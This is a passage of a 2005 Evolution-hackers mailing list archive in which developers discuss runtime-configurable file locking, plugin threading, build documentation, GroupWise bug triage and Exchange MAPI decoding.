lists.ximian.com (Postfix, from userid 38) id 023B6124B3D; Tue, 15 Feb 2005 19:32:16 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A7A16124E8F for ; Tue, 15 Feb 2005 19:32:05 -0500 (EST) Received: (qmail 14754 invoked from network); 16 Feb 2005 00:32:04 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 16 Feb 2005 00:32:04 -0000 Subject: Re: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) From: Not Zed To: Enver ALTIN Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> References: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> Content-Type: multipart/alternative; boundary="=-KsYENbYSBmpr/ETOJ0Bp" Date: Wed, 16 Feb 2005 08:26:44 +0800 Message-Id: <1108513604.4972.36.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-KsYENbYSBmpr/ETOJ0Bp Content-Type: text/plain Content-Transfer-Encoding: 7bit On Tue, 2005-02-15 at 18:54 +0200, Enver ALTIN wrote: > Hi, > > We have a somewhat complex intranet consisting of several XDMCP/NFS > servers and we're running applications with NFS mounted home folders > (probably other folders too). > > NFS servers are running in vserver context and are using somewhat > modified kernels (some security and vserver patches added) so I've been > told that we're not able to get rpc.statd work properly. Thus, neither > fcntl() nor flock() works for us. > > For that reason, I have re-packaged evolution with file-locking disabled > and dot-locking enabled. While we're at it, we have been wondering if it > could be possible to make it configurable at runtime. Well thats why its configurable at build time, *generally* it is a site issue, and evolution is free software. Although it is possible to conceive of complex situations in which 2 different locking types were required on different filesystems. > What I think is, to convert compile time things a lookup to GConf and do > the preferred way of locking. If I come up with a patch implementing > this, would that ever get committed? An environmental variable would probably suffice. Is there any reason that wouldn't be good enough? camel definitely can't use gconf, although an api could be added to set the locking mode, and that called from code that can. --=-KsYENbYSBmpr/ETOJ0Bp Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Tue, 2005-02-15 at 18:54 +0200, Enver ALTIN wrote: 
Hi,

We have a somewhat complex intranet consisting of several XDMCP/NFS
servers and we're running applications with NFS mounted home folders
(probably other folders too).

NFS servers are running in vserver context and are using somewhat
modified kernels (some security and vserver patches added) so I've been
told that we're not able to get rpc.statd work properly. Thus, neither
fcntl() nor flock() works for us.

For that reason, I have re-packaged evolution with file-locking disabled
and dot-locking enabled. While we're at it, we have been wondering if it
could be possible to make it configurable at runtime.
Well thats why its configurable at build time, *generally* it is a site issue, and evolution is free software.  Although it is possible to conceive of complex situations in which 2 different locking types were required on different filesystems. 
What I think is, to convert compile time things a lookup to GConf and do
the preferred way of locking. If I come up with a patch implementing
this, would that ever get committed?
An environmental variable would probably suffice.  Is there any reason that wouldn't be good enough?

camel definitely can't use gconf, although an api could be added to set the locking mode, and that called from code that can.



--=-KsYENbYSBmpr/ETOJ0Bp-- From notzed@ximian.com Wed Feb 16 03:46:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4EBB6124EBF; Wed, 16 Feb 2005 03:46:07 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 59054124206 for ; Wed, 16 Feb 2005 03:45:55 -0500 (EST) Received: (qmail 15213 invoked from network); 16 Feb 2005 08:45:52 -0000 Received: from localhost (HELO ?192.168.1.56?) (127.0.0.1) by localhost with SMTP; 16 Feb 2005 08:45:52 -0000 Subject: Re: [Evolution-hackers] EPlugin, export mail folder, Update! From: Not Zed To: smurfd Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108148144.22547.14.camel@192.168.1.5> References: <1099011143.1019.11.camel@localhost.localdomain> <1100789458.15224.9.camel@localhost.localdomain> <1100836172.10838.127.camel@lostzed.mmc.com.au> <1100982290.16626.47.camel@localhost.localdomain> <1101095738.8961.19.camel@lostzed.mmc.com.au> <1101225710.23468.50.camel@localhost.localdomain> <1101259289.4648.26.camel@lostzed.mmc.com.au> <1103078190.6171.37.camel@localhost.localdomain> <1103503793.7539.72.camel@lostzed.mmc.com.au> <1106106356.24483.14.camel@localhost.localdomain> <1106108732.28087.28.camel@lostzed.mmc.com.au> <1106187210.1353.23.camel@localhost.localdomain> <1106619154.23363.3.camel@lostzed.mmc.com.au> <1108148144.22547.14.camel@192.168.1.5> Content-Type: multipart/alternative; boundary="=-2K7dctTP/BJEsWrO7X23" Date: Wed, 16 Feb 2005 16:40:24 +0800 Message-Id: <1108543224.28727.8.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-2K7dctTP/BJEsWrO7X23 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-11 at 19:55 +0100, smurfd wrote: > >Using the mail-mt stuff is good since it does some of the setup work > >for you, and lets you setup 4 callbacks, one to say what you're doing, > >one to do the work in the other thread, one to do any work back in the > >gui thread, and one to clean up. You also have a little control over > >scheduling - i.e. should it run in a new thread or just use one of the > >thread queues, so you don't get too much thrashing. > > Ah okey, well i have been into using that sollution a couple of times, > but well i still havent really got it to work as i wanted it. > > Today i realised Why i havent got it to work as i wanted it. > > well i have 3 functions in that struct that gets executed, and thought > that a 4th could be used to run the compression part there. > so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here > was to get __exp to deliver the mails to the location where i wanted it, > say /home/smurfd/backup/ and then to run the compression on That > folder. > > Why you ask, why not just run the compression on the right-clicked > folder? Well ive been heavily debating this (with myself) and after many > debates, i came up with that running it on the exported directory would > be better, since than i wouldnt have to care about if the user > right-clicks a non-local folder, say IMAP or whatever for the > compression part. > > sounds sane? > > That way, i need to have the "exportion" part to be finished Before the > compression part takes place. > Easy, just have the compression part take place in the __cpio function, > right? > NO, that wont work, and after serious thinking, serious headsmashing, i > realised Why that is... > > Thats because in the __exp i have 'mail_get_folder()' wich itself spawns > a new thread, and that way, the __exp thinks its work is done, before it > "really" is... Well, you should be running the whole shooting match in another thread already? You are right? Then you don't use mail_get_folder() at all, you can just use the camel calls directly, or the mail helper, mail_tools_uri_to_folder(). You then use camel_operation to pass any status to the main ui, if you need to. You could also perhaps do mail_msg_wait() on the return of mail_get_folder(), although it would be simpler to avoid all that extra thread stuff entirely. > So im gonna have to borrow some more code i guess... and make small > modifications on it to fit my needs. > > Better to re-use, than to re-invent i guess. :) > > Best regards > /Nicklas > > --=-2K7dctTP/BJEsWrO7X23 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-11 at 19:55 +0100, smurfd wrote: 
>Using the mail-mt stuff is good since it does some of the setup work
>for you, and lets you setup 4 callbacks, one to say what you're doing,
>one to do the work in the other thread, one to do any work back in the
>gui thread, and one to clean up.  You also have a little control over
>scheduling - i.e. should it run in a new thread or just use one of the
>thread queues, so you don't get too much thrashing.

Ah okey, well i have been into using that sollution a couple of times,
but well i still havent really got it to work as i wanted it.

Today i realised Why i havent got it to work as i wanted it.
 
well i have 3 functions in that struct that gets executed, and thought
that a 4th could be used to run the compression part there.
so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here
was to get __exp to deliver the mails to the location where i wanted it,
say /home/smurfd/backup/ and then to run the compression on That
folder. 

Why you ask, why not just run the compression on the right-clicked
folder? Well ive been heavily debating this (with myself) and after many
debates, i came up with that running it on the exported directory would
be better, since than i wouldnt have to care about if the user
right-clicks a non-local folder, say IMAP or whatever for the
compression part.

sounds sane?

That way, i need to have the "exportion" part to be finished Before the
compression part takes place.
Easy, just have the compression part take place in the __cpio function,
right?
NO, that wont work, and after serious thinking, serious headsmashing, i
realised Why that is...

Thats because in the __exp i have 'mail_get_folder()' wich itself spawns
a new thread, and that way, the __exp thinks its work is done, before it
"really" is...

Well, you should be running the whole shooting match in another thread already?  You are right?

Then you don't use mail_get_folder() at all, you can just use the camel calls directly, or the mail helper, mail_tools_uri_to_folder().  You then use camel_operation to pass any status to the main ui, if you need to.

You could also perhaps do mail_msg_wait() on the return of mail_get_folder(), although it would be simpler to avoid all that extra thread stuff entirely.

So im gonna have to borrow some more code i guess... and make small
modifications on it to fit my needs.

Better to re-use, than to re-invent i guess. :)

Best regards
/Nicklas
--=-2K7dctTP/BJEsWrO7X23-- From ealtin@parkyeri.com Wed Feb 16 08:41:15 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5E9961242CB; Wed, 16 Feb 2005 08:41:15 -0500 (EST) Received: from fatstacks.parkyeri.net (unknown [193.192.101.206]) by lists.ximian.com (Postfix) with ESMTP id B48C4124026 for ; Wed, 16 Feb 2005 08:41:03 -0500 (EST) Received: from [213.74.28.131] (helo=[192.168.27.48]) by fatstacks.parkyeri.net with asmtp (Exim 3.35 #1 (Debian)) id 1D1PQL-0007rP-00 for ; Wed, 16 Feb 2005 15:41:01 +0200 Subject: Re: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) From: Enver ALTIN To: evolution-hackers@lists.ximian.com In-Reply-To: <1108513604.4972.36.camel@lostzed.mmc.com.au> References: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> <1108513604.4972.36.camel@lostzed.mmc.com.au> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-9zknAdvgJ+i/gq+1wf9e" Organization: Parkyeri Date: Wed, 16 Feb 2005 15:40:44 +0200 Message-Id: <1108561244.9967.14.camel@roadrunner.skyblue.gen.tr> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-28.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-9zknAdvgJ+i/gq+1wf9e Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi, On Wed, 2005-02-16 at 08:26 +0800, Not Zed wrote: > > What I think is, to convert compile time things a lookup to GConf and d= o > > the preferred way of locking. If I come up with a patch implementing > > this, would that ever get committed? > An environmental variable would probably suffice. Is there any reason > that wouldn't be good enough? Actually, yes. An environment variable would fit very well. Thanks, --=20 .O. ..O Enver ALTIN | http://skyblue.gen.tr/ OOO Software developer @ Parkyeri | http://www.parkyeri.com/ --=-9zknAdvgJ+i/gq+1wf9e Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCE01cZCB2FZvqK0sRAuHjAJ98WCbGAmAMw12WyxsG9U+oYlRcXQCeNtWh c0J+AXcuwId35astYgEr6MA= =msd+ -----END PGP SIGNATURE----- --=-9zknAdvgJ+i/gq+1wf9e-- From spamfrommailing@freax.org Thu Feb 17 16:13:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 145321247E2; Thu, 17 Feb 2005 16:13:06 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9AFD11247D9 for ; Thu, 17 Feb 2005 16:12:55 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id A86A013942C1; Thu, 17 Feb 2005 22:12:50 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 23564-10; Thu, 17 Feb 2005 22:12:43 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 2922B1394210; Thu, 17 Feb 2005 22:12:43 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com, gnome-hackers@gnome.org Content-Type: text/plain Date: Thu, 17 Feb 2005 22:12:43 +0100 Message-Id: <1108674763.9004.1.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I've updated this wiki a bit. Stuff like debugging a running Evolution process has been hadded. http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS Hf. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From rodrigo@novell.com Fri Feb 18 08:32:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 49BB3124E5D; Fri, 18 Feb 2005 08:32:24 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 87A33124E83 for ; Fri, 18 Feb 2005 08:32:12 -0500 (EST) Received: (qmail 19621 invoked from network); 18 Feb 2005 13:32:11 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 18 Feb 2005 13:32:11 -0000 From: Rodrigo Moya To: spamfrommailing@freax.org Cc: gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108674763.9004.1.camel@localhost.localdomain> References: <1108674763.9004.1.camel@localhost.localdomain> Content-Type: text/plain Date: Fri, 18 Feb 2005 14:29:43 +0100 Message-Id: <1108733383.22947.3.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > I've updated this wiki a bit. Stuff like debugging a running Evolution > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > shouldn't this better be at the Evolution wiki? (live.gnome.org/Evolution) It's indeed a good addition to the BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource -- Rodrigo Moya From spamfrommailing@freax.org Fri Feb 18 11:17:28 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 436FC124C2A; Fri, 18 Feb 2005 11:17:28 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id C62DD124F04 for ; Fri, 18 Feb 2005 11:17:16 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id A9582139473D; Fri, 18 Feb 2005 17:17:12 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 01045-06; Fri, 18 Feb 2005 17:17:05 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 4D644139473B; Fri, 18 Feb 2005 17:17:05 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Rodrigo Moya Cc: gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108733383.22947.3.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> Content-Type: text/plain Date: Fri, 18 Feb 2005 17:17:04 +0100 Message-Id: <1108743424.19638.3.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-21.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: > On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > > I've updated this wiki a bit. Stuff like debugging a running Evolution > > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > shouldn't this better be at the Evolution wiki? > (live.gnome.org/Evolution) It's indeed a good addition to the > BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource I wouldn't object to anybody would port the mediawiki-formatted stuff on my personal wiki to the wiki-engine thats being used on gnome's wiki. So go ahead -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From jpr@novell.com Fri Feb 18 12:03:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9E097124F1C; Fri, 18 Feb 2005 12:03:42 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 42B011249F7 for ; Fri, 18 Feb 2005 12:03:30 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Fri, 18 Feb 2005 10:03:12 -0700 From: JP Rosevear To: Evolution Hackers mailing list Cc: evolution-groupwise-maintainers@ximian.com Content-Type: text/plain Organization: Novell, Inc. Date: Fri, 18 Feb 2005 12:02:58 -0500 Message-Id: <1108746179.6456.246.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=9.2 required=5.0 tests=BAYES_20,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, SUBJ_HAS_UNIQ_ID,TRACKER_ID version=2.53 X-Spam-Level: ********* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] evolution-groupwise-maintainers Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I got this alias setup for bugzilla in case we want to assign groupwise related bugs there some how. Personally I'd prefer to keep the groupwise bugs assigned to individual components with the groupwise keyword rather than create a separate product (the GroupWise product in their now was a broken attempt at tracking some server issues) or separate component. We don't put IMAP or POP bugs in a separate component. However it is a little different in this case because we have a specific group working on these bugs and there are currently a lot of them. We could transfer the groupwise keyword bugs that aren't assigned specifically right now to evolution-groupwise-maintainers and periodically make sure the assignment is right. This would cut down the bug traffic to evolution-mail-maintainers, evolution-calendar-maintainers, etc. Thoughts? -JP -- JP Rosevear Novell, Inc. From snallagatla@novell.com Fri Feb 18 12:52:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 18FA912471B; Fri, 18 Feb 2005 12:52:56 -0500 (EST) Received: from Gr8-Siva.hathaway (unknown [202.88.171.168]) by lists.ximian.com (Postfix) with ESMTP id 1EEBC12424B for ; Fri, 18 Feb 2005 12:52:43 -0500 (EST) Received: by Gr8-Siva.hathaway (Postfix, from userid 0) id DBCA212982D; Fri, 18 Feb 2005 23:22:50 +0530 (IST) Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: Sivaiah Nallagatla To: JP Rosevear Cc: Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108746179.6456.246.camel@bishop.rosevear.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Fri, 18 Feb 2005 23:22:50 +0530 Message-Id: <1108749170.12982.7.camel@Gr8-Siva.hathaway> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-19.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > I got this alias setup for bugzilla in case we want to assign groupwise > related bugs there some how. > > Personally I'd prefer to keep the groupwise bugs assigned to individual > components with the groupwise keyword rather than create a separate > product (the GroupWise product in their now was a broken attempt at > tracking some server issues) or separate component. We don't put IMAP > or POP bugs in a separate component. However it is a little different > in this case because we have a specific group working on these bugs and > there are currently a lot of them. We could transfer the groupwise > keyword bugs that aren't assigned specifically right now to > evolution-groupwise-maintainers and periodically make sure the > assignment is right. This would cut down the bug traffic to > evolution-mail-maintainers, evolution-calendar-maintainers, etc. > > Thoughts? This idea looks good to me though i would prefer separte product. I feel having separate product would make bug submitting easier for folks who are testing/using groupwise and avoids even the initial mails sent when new bug is filed. Going over bugzilla to find groupwise related bugs will be more painful than moving an occasional non-groupwise bug present in groupwise prodcut to evolution. Siva From lkcl@lkcl.net Fri Feb 18 17:47:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5B6B112427E; Fri, 18 Feb 2005 17:47:42 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 13A13124370 for ; Fri, 18 Feb 2005 17:47:31 -0500 (EST) Received: from lkcl.net (host81-155-76-60.range81-155.btcentralplus.com [81.155.76.60]) by open.hands.com (Postfix) with ESMTP id 2CF84C1DA; Fri, 18 Feb 2005 22:47:18 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1D2H3w-0008Tw-Si; Fri, 18 Feb 2005 22:57:28 +0000 Date: Fri, 18 Feb 2005 22:57:28 +0000 From: Luke Kenneth Casson Leighton To: MAPI Decoding , evolution-hackers@lists.ximian.com Message-ID: <20050218225728.GK13329@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=1.9 required=5.0 tests=BAYES_60,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,USER_AGENT_MUTT version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] MAPI / exch 5.5 decoding code - now in cvs Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: if anyone's interested: http://sf.net/projects/oser. http://cvs.sourceforge.net/viewcvs.py/oser/exchange5.5/exploration/ sadly, TNEF turns out to be a local cache of MAPI info. yet another awful format. exchange 5.5 MAPI encoding is sick. once i'm through with this, exchange 5.5 MAPI encoding will be used as a teaching aid / example of how NOT to roll your own RPC mechanism (which *sob* is what they've done). anyway. it's a long way off from being useable in evolution as a direct library "get-me-an-email-message" perspective, but it's a step in the right direction. l. -- -- http://lkcl.net -- From kharish@novell.com Sat Feb 19 08:40:30 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 16F7E1247BB; Sat, 19 Feb 2005 08:40:30 -0500 (EST) Received: from BLR-DSMASTER.BLR.NOVELL.COM (unknown [202.144.86.147]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "blr-dsmaster", Issuer "ISPORTAL" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 5C18912476B for ; Sat, 19 Feb 2005 08:40:16 -0500 (EST) Received: from emptyboat.blr.novell.com [164.99.152.185] by BLR-DSMASTER.BLR.NOVELL.COM; Sat, 19 Feb 2005 19:09:46 +0530 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: Harish Krishnaswamy To: Sivaiah Nallagatla Cc: JP Rosevear , Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108749170.12982.7.camel@Gr8-Siva.hathaway> References: <1108746179.6456.246.camel@bishop.rosevear.com> <1108749170.12982.7.camel@Gr8-Siva.hathaway> Content-Type: text/plain Date: Sat, 19 Feb 2005 19:08:42 +0530 Message-Id: <1108820322.10067.4.camel@emptyboat.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-19.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com 